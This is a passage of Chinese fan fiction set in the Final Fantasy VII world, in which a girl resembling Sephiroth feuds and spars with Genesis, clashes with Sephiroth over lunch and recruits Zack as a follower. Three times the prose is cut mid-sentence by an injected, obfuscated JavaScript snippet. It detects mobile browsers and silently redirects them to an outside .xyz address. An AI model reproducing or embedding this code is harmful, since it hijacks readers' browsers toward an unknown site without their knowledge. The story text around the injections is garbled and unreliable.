"这样不好,"杰内西斯忽然开口,"《LOVELESS》中说:''被囚禁的灵魂终将寻求自由...''" “够了。”萨菲罗斯喝止后,抓着她一路返回。 我宣布,从今天起,那个叫做杰内西斯的红毛就是我的死敌。 他真的太装了,在哪里都要念几句诗,一副自己很有文化的样子……我才不是听不懂。 我和他的仇恨不止于第一次见面的纠纷,而是每次我跟萨菲罗斯吵架(至少我以为是)的时候,他就会贱兮兮的插几句嘴,让我更加生气。 对,他还会笑。 你笑什么呢我请问? 譬如此时此刻。 "看来你们兄妹感情真好啊,"他优雅地翻着手中的诗集,嘴角挂着若有若无的笑意,"就像《LOVELESS》第三幕所说:''我的朋友,你飞向何方?''" 我瞪着他:"闭嘴!没人想听你念诗!" 萨菲罗斯站在一旁,似乎对这场闹剧颇感无奈。但我发誓看到他的嘴角微微上扬了一下。 "诗歌是灵魂的语言,"杰内西斯继续说道,"''即使明天世界终结...''" "够了!"我抓起桌上的训练用剑就要冲上去,但被萨菲罗斯一把拦住。 "冷静点,"他说,"你不能每次都用武力解决问题。" "为什么不能?"我挣扎着,"我看他就是欠揍!" 杰内西斯轻笑一声:"''我的朋友,命运是残酷的...''" "你再念一句试试!" 安吉尔这时走了进来,看到眼前的场景,无奈地摇了摇头:"又来了?" "安吉尔,"我转向他,"你能不能管管你这个朋友?他是不是脑子有问题?" "注意你的言辞,小姑娘,"杰内西斯合上书本,"即便是野蛮人也该学会一些礼仪。" "你说谁是野蛮人?" 萨菲罗斯的手臂收紧了一些:"我说了,冷静。" "我很冷静!"我大声说,"我只是想教训一下这个自以为是的家伙!" "''傲慢者终将堕落...''" "啊啊啊!你给我闭嘴!" 安吉尔叹了口气,走过来拉住杰内西斯:"好了,别再刺激她了。" "我只是在帮助一个迷途的灵魂,"杰内西斯说,"通过诗歌的力量。" "你信不信我现在就让你见识一下我的力量?" 萨菲罗斯终于开口:"够了。杰内西斯,你先走吧。" 红发的男人耸了耸肩,优雅地转身离开,但在门口又停下来:"''英雄的梦想...''" 我抄起一个训练用魔晶石就扔了过去。他轻巧地避开,消失在门口,只留下一串轻笑。 "我讨厌他!"我对着门口大喊,"他就是个自恋狂!" 萨菲罗斯松开我:"你也该去训练了。" "等等,你这是在帮他说话吗?" "我只是觉得,"他平静地说,"你们都还有很多需要学习的地方。" 我气呼呼地瞪着他:"你什么意思?" 但他已经转身离开了。安吉尔拍了拍我的肩膀:"别太在意,杰内西斯就是这样的性格。" "那他最好祈祷别在训练场上遇到我,"我咬牙切齿地说,"否则我一定要让他知道,什么叫做真正的''英雄的梦想''!" 快哉快哉,我终于等到了这一天。 当我抽到跟杰内西斯互殴进行战斗训练的时候,连连把我的“物干竿”磨了三遍,确认它现在连羽毛擦过都能斩成两半。 之前一直是跟安吉尔对练,我个人而言,没有跟萨菲罗斯战斗的爽一些,因为这个过分负责的男人总是顾及着我少女(其实我马上就成年了)的身份,不敢怎么下手。 而且我感觉是不是大剑侠天生就有克制太刀侠的能力,明明从各种程度上来说,我都不会只是平局,但我就真的只是平局。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15479148|169997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>来到场上,我伸了个懒腰后,懒散的瘫在旁边的栏杆上,等待红毛的出现,为了提高压迫感,我今天特地穿了长筒靴垫高了一些,至少不需要特别明显的抬头就可以跟他对视。 过了会,杰内西斯来了,他将自己心爱的《loveless》放好后,优雅的拔剑。 还没等他说话,我就直接砍了过去。 他轻笑着抽出剑格挡:"如此粗鲁。不过,这正是一个完美的机会,让我来教教你什么是真正的优雅。" 大太刀在空中划出一道银光,杰内西斯侧身避开,反手一剑直取我的肋下。我往后一跃,借着后退的势头调整重心,刀锋划出一道弧线逼退他的攻势。 "不错的反应。"他说,"但是太过莽撞了。" "少废话!" 我们的武器再次相撞,金属碰撞的声音在训练场回荡。杰内西斯的剑术确实优雅,每一个动作都像是经过精心编排的舞蹈。但我不在乎什么优雅不优雅,我只想把他打倒。 交手中,我注意到他特别护着左手那本《LOVELESS》。呵,果然。 于是我故意露出一个破绽,等他上钩。当他的剑尖探来时,我突然变招,大太刀直取他护着诗集的左手。 杰内西斯的瞳孔微缩,不得不放弃进攻转为防守。就是这个机会! "看我的!" 我的大太刀带着呼啸声劈下,他堪堪架住,但力道之大让他后退了半步。我乘胜追击,一连串的劈砍逼得他连连后退。 "这就是你引以为傲的优雅吗?"我讥讽道。 他的眼中闪过一丝恼怒:"不要太得意。"红色的火焰在他的剑身上燃起,"''当女神的礼物降临大地...''" "我说了闭嘴!" 我的攻势更猛了,每一击都倾注了全力。杰内西斯虽然技巧精湛,但在纯粹的力量对抗中还是略逊一筹。他的剑上的火焰愈发旺盛,但我毫不在意,继续进攻。 剑刃上跃动着赤红的火焰,在训练场的金属墙壁上投下舞动的影子。他稳住脚步,重心微沉,左手依然护着那本诗集。汗水从他的额角滑落,沿着下颌的线条滴在制服的领口。 金属训练场的温度在魔法的热度下节节攀升。观战的特种兵们不自觉地后退几步,空气中弥漫着一股灼烧的气息。杰内西斯的眼中闪过一丝恼怒,那抹红色在魔晄灯的照射下显得格外刺目。 "你以为这样就能打败我吗?"他抬起剑,火焰在剑身上盘旋,"''即使明天世界终结...''" 大太刀划破空气的呼啸声打断了他的诗句。攻势如暴风骤雨,每一击都带着压倒性的力量。金属相击的声响在训练场内回荡,火星四溅。杰内西斯的步伐开始变得凌乱,左手死死护住《LOVELESS》的动作越发明显。 "放开那本书,"我冷笑一声,太刀在空中划出一道银光,"你到底是来打架还是来朗诵的?" 杰内西斯的太阳穴跳动了一下,剑上的火焰骤然增强。"你这个粗鲁的女孩,根本不懂得真正的..." 话音未落,我已经欺身而上。大太刀从侧面劈来,杰内西斯仓促格挡,被这股力道推得连连后退。他的后背撞上训练场的栏杆,金属发出一声闷响。 火焰的热度灼伤了手臂,但我毫不在意。皮肤上的灼伤在魔晄的作用下很快就会愈合。抓住机会,一记横扫逼得杰内西斯不得不松开护着书的左手。 《LOVELESS》从他手中滑落,在半空中划出一道弧线。 杰内西斯的瞳孔猛然收缩。 "糟了。"安吉尔在场边低声说道。 在那一瞬间,仿佛整个训练场的时间都静止了。杰内西斯的目光追随着下落的诗集,身体已经开始转向。我的嘴角勾起一抹得意的笑容,大太刀毫不犹豫地斩向他暴露出的破绽。 红发的特种兵咬紧牙关,额头上的青筋暴起。他不得不放弃去接书,转而举剑挡住这致命的一击。火焰在两把武器相接处爆发,发出刺耳的金属摩擦声。 等到萨菲罗斯赶到的时候就看到了这样的一幕,她的大太刀挂在身后,接着,少女一只手抓着那本诗集,一边笑着在场地里躲避。 "还给我!" 杰内西斯提着剑,一边搓魔法,一边追在她身后,但速度向来是她的优势,就像是放风筝一样把他甩在身后。 周围围观的特种兵目瞪口呆,安吉尔闭上了眼,不想看到这样的一幕。 "哈哈,才不要。杰内西斯,如果你现在求我,说‘以往都是我狗眼看人低了’,我就还给你。" "你这个野蛮人……" 萨菲罗斯看见了她的笑,那种肆意的,张扬的,伴随着火焰,在训练场上闪耀着。 他开口,声音中带着一丝无奈,"把书还给他。" "不要!"少女一个转身躲开杰内西斯的抓捕,"除非他道歉!" 杰内西斯的脸上闪过一丝恼怒:"我为什么要向一个野蛮人道歉?" "你说谁是野蛮人?"她停下脚步,眯起眼睛,"要不是你整天在那里装模作样地念诗..." 安吉尔叹了口气,插入道:"够了,你们两个。这里是训练场,不是儿童游乐园。" 但这句话显然没有起到预期的效果。少女翻开《LOVELESS》,用夸张的语气朗读起来:"''当女神的礼物降临大地''——哦,真是太感人了!" 杰内西斯的表情变得更加阴沉:"你根本不懂得欣赏真正的艺术。" "我懂得欣赏,"她反驳,"你又懂什么?你明白艺术吗?" 这句话似乎真的触动了杰内西斯的神经。他的剑上突然燃起了更加猛烈的火焰:"那就让我教教你什么是真正的力量!" 就在这时,一道银光闪过。正宗刀的刀身轻巧地挡在了两人之间。 "训练结束了。"萨菲罗斯平静地说。 她撇了撇嘴,但还是把书扔给了杰内西斯。后者接住书的动作近乎虔诚,仿佛在确认它没有受损。 杰内西斯握紧了手中的《LOVELESS》,但在他能说什么之前,萨菲罗斯已经拉着她离开了训练场。 安吉尔走到杰内西斯身边:"你不该那样说她。" "她太无礼了,"杰内西斯低声说,"而且..." "而且什么?" "没什么。"他合上书本,"只是觉得...” 未说完的话语消散在空气里。 6. 第 6 章 我被萨菲罗斯带走的时候,依然心情愉悦。 好爽啊,好爽啊,简直就是大仇得报。 因为今天的事情,我有些走神,至少没有和往日一样在午饭的时间盯着萨菲罗斯碗里的东西看,并且时不时顺走一些什么,他吃着吃着就停了下来。 说实话,在战场上的补给居然比神罗的标配营养餐好吃——真是闻者伤心,见者流泪,如果不是米德加有我的藏书和零食,我都想一直留在这里了。 "……" 他那种凝视的神情又来了,我稍稍往后仰,茫然地跟他四目相对。 我没有正常对"美"的观念,对任何事情都抱有本能模糊的印象,不过,他应该是相当好看的。 这代表了我也很好看,好哎! 虽然我感觉我的好看跟他不是一种的,但又总是有着相似之处。 比如眼睛,鬓角,还有…… 我伸出手抓了抓他的头发。 “怎么了?” 指尖的银发像是流光般滑落,我又瞥了眼自己脸颊旁的发尾——明明是一模一样的,我总感觉差了些什么。 萨菲罗斯往日里总是仍由我玩他的头发,但此刻,男人伸出手,抓住了我的手腕,他的手指收紧了一些,但并不疼。掌心很温暖,透过手套的皮革传来一种奇异的触感,我一头雾水。 "你今天很不对劲。"他说。 我眨了眨眼:"有吗?我觉得我挺正常的啊。" "你没有偷我的食物。" 这话让我愣住了,我还以为我每次都做得很隐蔽。 不过话说回来,他为什么要在意这个? “呃,我在想别的事情。” “这样啊……” 萨菲罗斯呢喃着,却还是没有放开我的手,我觉得他大概是怕我又去扯他的头发吧。 "你到底在想什么?"我晃了晃被他抓住的手,"该不会是在担心我吧?" "你和杰内西斯..."他开口,语气平静,"以后要小心一些。" "哈?为什么要小心那个自恋狂?"我挑眉,"我觉得他就是欠揍。" "不是这个问题。"萨菲罗斯终于松开了我的手,"你最近太引人注目了。" 我撇了撇嘴:"这不是很正常吗?我本来就很厉害。" "..."他的目光中带着什么,"正因为如此。" 我歪着头看他:"什么意思?" 但他没有继续这个话题,而是将目光移向我面前几乎没动过的食物:"先把饭吃完。" "喂,别转移话题。"我用叉子戳着盘子里的东西,"你是不是知道什么?" 萨菲罗斯的态度让我觉得奇怪。他平时虽然总是默默跟在我身后处理各种麻烦,但很少会这样明确地提醒我要"小心"。我对着盘子里的食物发了会呆,突然一个想法冒了出来。 "等等..."我眯起眼睛,"你该不会是因为我抢了你风头所以不高兴吧?" 他的动作顿了一下,显然没料到我会这么想。随即,他伸手揉了揉我的头发,这个动作让我立刻勃然大怒。 我现在可以合理的怀疑为什么我没有长得和他一样高是因为他总是摸我的头。 "别摸我头!"我拍开他的手,"我说得对不对?" "......"他看着我,突然轻笑了一声,"你果然一点都没变。" "什么意思?" "能保持这样就好。" 我越来越摸不着头脑了:"你今天说话怎么这么奇怪?" 他没有回答,只是指了指我的餐盘:"再不吃就要凉了。" 我低头看了眼几乎没动过的食物,叹了口气。虽然还是很在意他刚才的话,但确实也该填饱肚子了。就在我准备开动的时候,突然注意到我的盘子里少了块肉。 "......你偷吃我的?" 萨菲罗斯面不改色:"只是扯平而已。" "喂!"我瞪大眼睛,"你居然学会偷吃了?" 萨菲罗斯,你这家伙! 他依然保持着那副优雅的样子:"彼此彼此。" "不对,我那是光明正大地抢,"我义正言辞地说,"你这是偷偷摸摸!" "有什么区别吗?" "当然有区别!"我挥舞着叉子,"我好歹是当着你的面...等等,你是不是经常这样?" 他不置可否,但嘴角微微上扬的弧度出卖了他。这家伙...原来一直在报复我? 我和以往一样,突然发难,接着将男人半压在餐桌上,一只手摁住他的手腕,接着用大腿抵着他的腹部——但是我的大腿有些酸了,可恶,为什么他这么大一个呢? 以前的萨菲罗斯去哪了?明明我还可以手拿把掐的人去哪了? 说到底,他成年也没有多少年吧?而我……不,不可以再想了,难道我不能再长高了吗?现在跑回米德加泡四年魔晄可以让我长高20cm踩萨菲罗斯的头吗? "你以前明明没这么大个的。"我嘟囔着,感觉手臂有些发酸。 萨菲罗斯轻轻挑眉:"你也没有以前那么小了。" 他到底在胡言乱语些什么?难道以前的我很矮吗?呵呵,我不记得了。 “你不要胡乱评价我!怎么,难道我在你眼中一直是什么小矮人吗?” 他皱了皱眉,纠正我的说法。 “身材小代表着灵活,很适合你的作战方法。而且……我不认为你是小矮人,就像我之前说的那样。” 萨菲罗斯靠近了些,瞥见我有些发颤的大腿,嘴角不自觉地带上了笑容,鼻尖抵着鼻尖,两双荧绿色的眸子相对。 “这样比较好保护。” 我想赏他一个头槌。 并且当我真的打算这么做的时候,男人忽然用力,反手捏住我的手腕,我还没反应过来,就被他一个翻身压在了餐桌上。 两只手被卡在身后,我半趴在桌子上,感慨世态炎凉。 就连曾经那个战斗都要等命令的萨菲罗斯如今也学会了偷袭吗?这个世界到底怎么了? “萨菲罗斯,我给你三秒,赶紧放开我。” —— 他为什么在我面前就这么…… 之前在战场上被拍摄什么照片的时候,我还客串过尸堆里的死人,他那副优雅完美的pose被我当场嘲笑,我还记得当时他只是当着他人的面无奈的摸了摸我的头,回去就克扣了我三天的零食。 —— "三,二,一。" 我数着数字,男人却纹丝不动。他垂眸看着我,目光像是在看着什么很有趣的东西。 "看来你真的学坏了,"我咬牙,"那就别怪我了。" 抬起头,我准备用小腿狠狠的踢开他,却好像被早有预料的卡住,他只是稍稍俯下身,就顺便用膝盖压住我了。 "……" “你要是听话的话,我就放开你。” 我眨了眨眼,在体格的差异前勉强咽下了这口气。 “你说听什么话?” “不要再去挑衅杰内西斯了。” ?? 不是,我哪里挑衅他了?难道不是他每次都很莫名其妙的跳出来说话吗? 所以我在他每次说话时都怼回去有什么不对的吗? “我没有挑衅他。” “是吗?你最近其实还在偷偷的跟踪他吧……是想要做什么?” 银色的发丝撩过我的耳畔,他低语着,带来湿热的感觉,我有些痒,本能的挣扎了一下,却毫无作用。 我现在可以合情合理的怀疑,萨菲罗斯是不是在我身上留了什么监视魔法。 他居然连我刚刚才开始的计划二都知晓! 可恶啊,没想到他居然这么担心他的好朋友,不过我又不会做什么过分的事情(?) "我才没有跟踪他!"我挣扎着抗议,"我只是在...呃...收集情报!" "收集情报?"他的语气带着一丝玩味,"比如他的《LOVELESS》收藏?" 被说中了。我确实想找到他藏书的地方,然后...嗯...借走几本。不过这话可不能告诉萨菲罗斯。 "我只是想了解一下对手!"我试图为自己辩解,"你不是说过要了解敌人吗?" "我说的是在战场上。"他稍稍松开了一点力道,但依然没有完全放开我,"而不是在休息时间跟踪同事。" "那你现在这样算什么?"我扭了扭手腕,"这就是你说的和平相处?" 他轻笑了一声:"这是在阻止你惹更多麻烦。" "我什么时候惹麻烦了?" "让我想想,"他假装思考,"今天早上偷袭杰内西斯,中午在训练场''意外''打翻他的午餐,下午又在他念诗的时候往他头上扔魔晶石..." "喂!第二件事真的是意外!" "所以其他两件是故意的?" "......"我突然觉得不该承认这个。 安吉尔来到食堂的时候,就看到了这样的一幕。 萨菲罗斯以一个非常不妙的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15479149|169997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姿势压着他的妹妹,在她耳畔低语着什么,嘴角扬起的弧度带着切实的愉悦,而她的脸色好看极了,一会咬牙切齿,一会心虚非常,一会大惊失色。 简直是把什么情绪都写在了脸上。 “知道错了吗?” 银发男人抵呢喃着问。 体格相对于他娇小的少女显露出憋屈的神色,最后半天没有说出一个字,显然是不服气。 安吉尔轻咳一声,引起了两人的注意。萨菲罗斯缓缓直起身,但并未完全放开她,而是保持着一个微妙的距离。 "我不是故意打扰,"安吉尔说,"不过现在是用餐时间。" 我揉了揉发酸的手腕:"安吉尔!你来得正好,快管管你的朋友!" "我的朋友?"安吉尔挑眉,"你说的是哪一个?" "杰内西斯那个自恋狂!"我指着萨菲罗斯,"还有这个变得奇怪的家伙!" 萨菲罗斯优雅地整理了一下衣领:"我只是在履行职责。" "什么职责需要你把我按在餐桌上?" "防止某人做出更多不理智的行为。" 安吉尔走近餐桌,注意到桌面上散落的餐具和未动过的食物:"所以,这是关于杰内西斯的事?" "她最近在跟踪他。"萨菲罗斯直接道出真相。 "我没有!"我立刻反驳,"我只是...在收集情报!" "通过偷看他的私人物品?" "那是战术观察!" 安吉尔叹了口气:"那个,如果你对杰内西斯有什么意见,为什么不直接跟他谈谈?" "跟他谈?"我挥舞着双手,试图展现出我的愤怒,"他每次张嘴就是''女神的礼物''、''英雄的梦想'',根本没法正常对话!" "所以你选择跟踪他?"萨菲罗斯的语气中带着一丝揶揄。 "我说了那不是跟踪!"我转向安吉尔,"你知道他有多烦人吗?他居然说我是''被囚禁的野兽''!就因为我不懂什么狗屁诗歌!" 安吉尔咳了咳,他也不大好意思当着我的面直接说每次都是我非要去怼杰内西斯几句:"杰内西斯确实有时候会说一些...比较文艺的话。" "文艺?"我冷笑,"他就是喜欢装。" "注意用词。"萨菲罗斯提醒道。 "怎么?你现在是他的保护者了?"我瞪着萨菲罗斯,"每次我说着话的时候,他都要不咸不淡的来评价几句,我看他不爽怎么了?对,而且每次我和你聊天的时候,他就非要来打扰,总是在你面前晃来晃去的——” “你是吃醋了吗?” 萨菲罗斯不咸不淡的开口,他半坐在座位上,一眨不眨的望着我。 ??? 什么吃醋?吃醋是什么意思? 我的大脑疯狂运转着,试图从我从小到大学到的东西里面搜刮出这个词的意思。 吃醋,一般是……对,主角的后宫之间会因为主角跟其他的人接触过密而感到内心不舒服。 —— 我的沉默好像让周围的人误解了什么,安吉尔显露出了无奈的神情——原来是兄妹之间的感情小矛盾,他已经脑补出了过于粘人的妹妹因为哥哥有了朋友稍稍感觉被冷落的剧情。 而萨菲罗斯勾起了唇角。 —— 等等,这怎么显得我好像输了什么似的? 他们为什么是这种表情,我只是在想东西。 我拍案而起,指着萨菲罗斯。 “是你吃醋了吧!是不是因为我最近一直在跟杰内西斯玩呢?” 萨菲罗斯的表情微妙地变化了一下:"你的想象力令人惊叹。" "承认吧!"我得意地说,"你就是在吃醋!" 安吉尔看着这对兄妹,突然意识到自己可能卷入了一个相当复杂的情况。他清了清嗓子:"也许我们该先吃饭?" "不行!"我坚持道,"在他承认之前我哪儿都不去!" 虽然不知道我刚刚输了什么,但是我打算把它赢回来。 气氛沉默了一会,我四顾张望,不知道为什么大家忽然都不说话了。 萨菲罗斯终于开口了:"如果我说是呢?" 哦,他承认了。 呃……我怎么没感觉我赢回了什么呢?而且还感觉有些奇怪…… "你...你说什么?"我结巴了。 "我说,"萨菲罗斯向前一步,"如果我承认呢?" 我好像赢了一些什么,但是我不知道那个东西是什么,并且我现在有些后悔。 7. 第 7 章 “哦……那你承认就承认了呗。” 我不知道说些什么好,于是就顺着他的话说下去,并且基本保留着自己的 气势(真的吗?)。 他走到我旁边,接着,半俯下身看着我,我向旁边的安吉尔投以求救的目光。 安吉尔在旁边欲言又止,他抓了抓头发,最终选择开口:"那个...我先出去了。" "等等!"我伸出手想要挽留他,"你不能走!" 但是他已经快步离开了,甚至带上了门。 叛徒,我在心里暗暗记下这笔账。现在食堂里只剩下我和萨菲罗斯。 萨菲罗斯站在我面前,嘴角带着若有似无的笑意。他又露出了那种居高临下的表情,让我很不爽。 "所以,"我努力保持着气势,"你承认你吃醋了?" "你觉得呢?" "什么叫我觉得?"我皱眉,"明明是你说的。" 萨菲罗斯向前一步,我下意识后退,直到背靠上餐桌。他俯下身,双手撑在桌面上,将我圈在他的手臂之间。 "为什么要退?"他问。 "因为你太高了!"我脱口而出,"这样我得仰着头说话。" 他轻笑出声:"就只是这个原因?" "不然呢?"我莫名其妙,"还能有什么原因?" 萨菲罗斯沉默了一会,伸手轻轻抚过我的脸颊。 带着手套的手有些凉,我瑟缩了一下,换做平时我早就把他甩开了,但是此刻因为古怪的氛围,我什么都没做。 "你真的不知道吗?"他的声音很轻,像是在自言自语。 "什么?" 他没有回答,只是继续注视着我。那双魔晄色的眼眸中似乎藏着什么,但我读不懂。我只觉得浑身不自在,想要躲开他的视线,却又被他的目光牢牢固定。 "我说了,"他终于开口,再次重复,"如果我承认呢?" "呃,那你就是输了!"我固执地说,虽然不知道他输在哪里。 "是吗?"他的声音带着笑意,"那你赢了什么?" 这个问题让我愣住了。对啊,我赢了什么?为什么感觉反而是我落入了某种陷阱的境地之中? "我..."我支支吾吾,"我赢了...呃..." "嗯?"他等着我的回答。 "我不知道,"我老实承认,"但是你肯定输了!" 萨菲罗斯又笑了起来,这让我更加恼火,不知道为什么,每次我在他身边,他就喜欢笑,越长大就越爱笑。 怎么?他难道有什么逐渐觉醒的阳光少年基因吗? 我想推开他,但是他纹丝不动。 "你笑什么?" "没什么,"他说,"只是觉得你很有趣。" 我瞪着他:"这是在嘲笑我吗?" "不,"他的表情突然认真起来,"我是真的这么觉得。" 话音刚落,他就不说话了,大概是在等着我说些什么。 我能说什么? 你这个萨菲罗斯你会聊天吗?你这让我怎么接下去? 于是我赶紧转移话题:"那个,我吃饱了,现在该继续去战场了。" 随后没等他说什么,我就连滚带爬的跑走了,这种时候属于我的速度优势就展现出来了,他连我的衣角都抓不到。 也没有看到身后他的眼神。 之后得知萨菲罗斯去南边的战场后,我是欣喜若狂的,还没等我展开对杰内西斯的报复计划时,有新的东西吸引了我。 最近,有一个和我差不多年纪,也是刚刚成年的人来到了五台这边的战场。 为什么我会记住他呢? 因为我周围第一次出现了对我饱含正面尊敬的人——虽然我不知道为什么现在才出现,明明我那么好看,并且实力非凡。 第一次见面的时候是在和安吉尔切磋的时候,在我被大剑侠挑飞后准备反手给他一刀的时候,身后传来了少年激动的声音。 “安吉尔老师,太帅了吧!” 我回过头,那是一个有些许炸毛的黑发少年,一副激动万分的样子,见状,我收回了我的大太刀,不打算再打了。 因为刀身过长,我也没有像他们那样那么优越的身高,于是每次拔刀收刀的时候都要半举起来,接着干脆的入鞘。 这个时候,大概是吸引了他的注意力吧,黑发少年的视线投到了我这边。 ”前辈!你这个姿势很帅啊!“ ”呵呵,是吗?“ 我强压下升起的嘴角——不好,压不下了。 神罗里什么时候出现了这么有品位的人? ”当然啊,还有,您刚刚那个力道,咻的一下,还把安吉尔老师的大剑挡住了,太厉害了。“ ”哈哈哈没什么啦其实也就那样这不过是我平常的招式而已根本没用多少力气大概三分实力这样吧。“ 一口气说完了这么多,成功收获了对方亮晶晶的眼神,我感觉舒坦极了。 看到我的表情,旁边的安吉尔暗道不妙。 从今天开始,我在神罗收到了我的第一个小弟。 主角人生展开的第一步……我已经准备好了。 不过最近其实异世界的系列比较火,还有那种《关于我和神罗1st的二三事》之类的也很火,期间出现最多的角色就是萨菲罗斯。我也不明白为什么里面的他总是"邪魅一笑",虽然因为他的唇形,平时看起来总是好像在笑,但我并不觉得"邪魅",所以这种书我一般看到他出场就不看了。 有时候他意味不明的笑多了,我还会觉得生气。 扯远了。 总而言之,我最近一直跟扎克斯混迹在一起。 出支援任务的时候我也很喜欢跟他一起出,因为我觉得我们两个的风格很相近。 比如此时此刻。 扎克斯背着长剑跟在我身后,我老神在在的指了指对面的那座城池。 "扎克斯,看到了吗?" 他点了点头,随后,犹疑的发问。 “是的前辈!不过,您是要呃……屠城吗?杰内西斯前辈特地跟我说要好好看着您,不能轻举妄动……” ??? 杰内西斯你完了。 我摇了摇头,随后意味深长的凑近了些,神秘的说。 “我是来带你享受人生的。” “呃,享受人生?” 我点点头,抬起脑袋,接着就拉着扎克斯往里面走了。 在入城的中转站内,我将一套衣服丢给他后,站在原地,望着他。 “换衣服吧。” 他身上还穿着神罗的制服,这样进去简直就是找死。 扎克斯点了点头后接过,然后,拿着衣服,与站在原地不动的我面面相觑。 看我干什么? "那个,前辈您是不是应该……" 我左看右看,确认自己拿好了武器……啊,原来如此。 他的意思是我也需要换装吗?急什么,我是打算等会再换的。 于是我把外套脱下,然后—— 扎克斯在神罗特训的时候,时不时会听到关于她的传言。 “神罗其实有4位1st,知道吗?” “什么,还有这种事?我只知道有三位前辈啊,什么时候多了一位?” “一直都有,好像是萨菲罗斯英雄的亲戚,啊,据说长得很像,又漂亮又可爱,就是……” 那个名字一直都流传在神罗内部的小道消息中,每次在训练快要结束的时,都会有一群快要奔赴五台的士兵们聚在一起讨论。 他们手上是最新的战报,时不时还会有那几位1st的照片,就在此时,一位士兵有些神秘兮兮的掏出了某个相册。 “咳咳,其实我有那位的照片来着,因为我的表哥前几天在五台呆过一段时间,我拜托了他……” 打开相册,周围围着的士兵们发出了惊叹的声音。 银白的长发,精致的容貌,参杂着懒散和随性的气质,那双碧绿色的眸子微微瞪大的时候,很容易让人想到某种小动物。 相似的发色和瞳色,以及那仿佛总是带着笑的唇形, "跟萨菲罗斯大人好像啊!" "真的好可爱,是将军的妹妹?又或者是姐姐?" "单凭这张脸就值得有粉丝俱乐部了吧?有吗?名字叫什么?" 当时是2nd特种兵的扎克斯一般路过后,爱凑热闹的也聚了过去,那一张张照片在相册上划过,他眨了眨眼,忽然指着其中一张。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15479150|169997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 银发的女人染了半身的血,她往镜头这边瞥了一眼,手上的大太刀微微闪烁着银光。拍摄者不知是因为惊慌还是恐惧,镜头晃动,导致整张图片都有些模糊,反而加上了一层独特的滤镜。 黑发少年的眼睛稍稍放光,他感慨道。 "真帅啊!" 但别人的视线大多都不在那张上面。 于是扎克斯撇了撇嘴,继续盯着那张照片看,直到相册的主人翻页。 —— 扎克斯慌乱的声音响起:"等等等等!前辈!" 我停下动作,疑惑地看着他:"怎么了?" "这里...这里没有隔间吗?"扎克斯的脸涨得通红,"或者说,前辈您能不能先出去一下?" 我歪着头,满头问号:"为什么要出去?我们不是要换衣服吗?" "但是...但是..."扎克斯语无伦次,"男女有别啊前辈!" "哦,"我恍然大悟,"你是在担心这个啊。没关系,我又不是没见过。" "诶?!" "萨菲罗斯经常在我面前换衣服啊,"我理所当然地说,"怎么,你害羞啊?" "呃……前辈,"扎克斯好奇地问,"您和萨菲罗斯大人是什么关系?" "我们啊,"我想了想,"我是他的..." 我想想,我说我是他的姐姐好还是父亲好呢?反正我们好像都无父无母,我临时占据一下这个位置应该没事吧? 正当扎克斯竖起耳朵准备听一个惊天秘密时,我感觉到了有什么在靠近:"有人来了。" 门外传来脚步声,似乎有巡逻的士兵正在接近。我迅速拉着扎克斯躲到了一堆箱子后面。 "别出声,等他们过去就好。" 真麻烦啊,我不就想要带小弟开开眼界吗?可恶,等下不会真要屠城了吧! 扎克斯点点头,但很快就意识到一个问题:这个藏身的空间实在太小了。他和她几乎是贴在一起,而对方还处于衣衫不整的状态。 "前、前辈..." "嘘,"她伸手捂住他的嘴,"他们来了。" 脚步声越来越近,扎克斯的心跳也越来越快。不是因为害怕被发现,而是因为这个过于亲密的距离。他能闻到前辈身上淡淡的香气,那是一种他说不上来的味道,既不像女孩子身上常有的香水味,也不像男性用的古龙水,而是一种独特的、让人安心的气息。 非要说的话,有些像他路过科研部时,在空气中嗅到的那种经过特殊处理后,清新的味道。 巡逻的士兵在门外停留了一会,交谈了几句,然后继续往前走去。等脚步声完全消失,她才松开手。 "好了,安全了,"她说着就要站起来,却被扎克斯拉住了。 "前辈,您先把衣服穿好吧!" "啊,对哦,"女人这才想起来这茬,"那你转过去。" "好的。"扎克斯松了口气,乖乖转身。 但他很快就听到身后传来她的声音:"咦,这件衣服怎么穿?为什么有这么多扣子?" 扎克斯强忍着回头的冲动:"前辈,您该不会连衣服都不会穿吧?" "我当然会穿!"对方的声音有些恼火,"只是这件太复杂了。平时都是萨菲罗斯帮我...算了,不管了,扎克斯,你来帮我看看。" "不行!"扎克斯几乎是跳了起来,"这个真的不行!" 就在这时,门外又传来了脚步声,这次听起来人数更多。 "糟了,"她皱眉,"好像是换班的巡逻队。" 看了看手中的衣服,她又看了看惊慌失措的扎克斯,突然灵机一动:"那这样吧。" 说着,对方直接把外套往身上一披:"先这样,等找到安全的地方再说。" 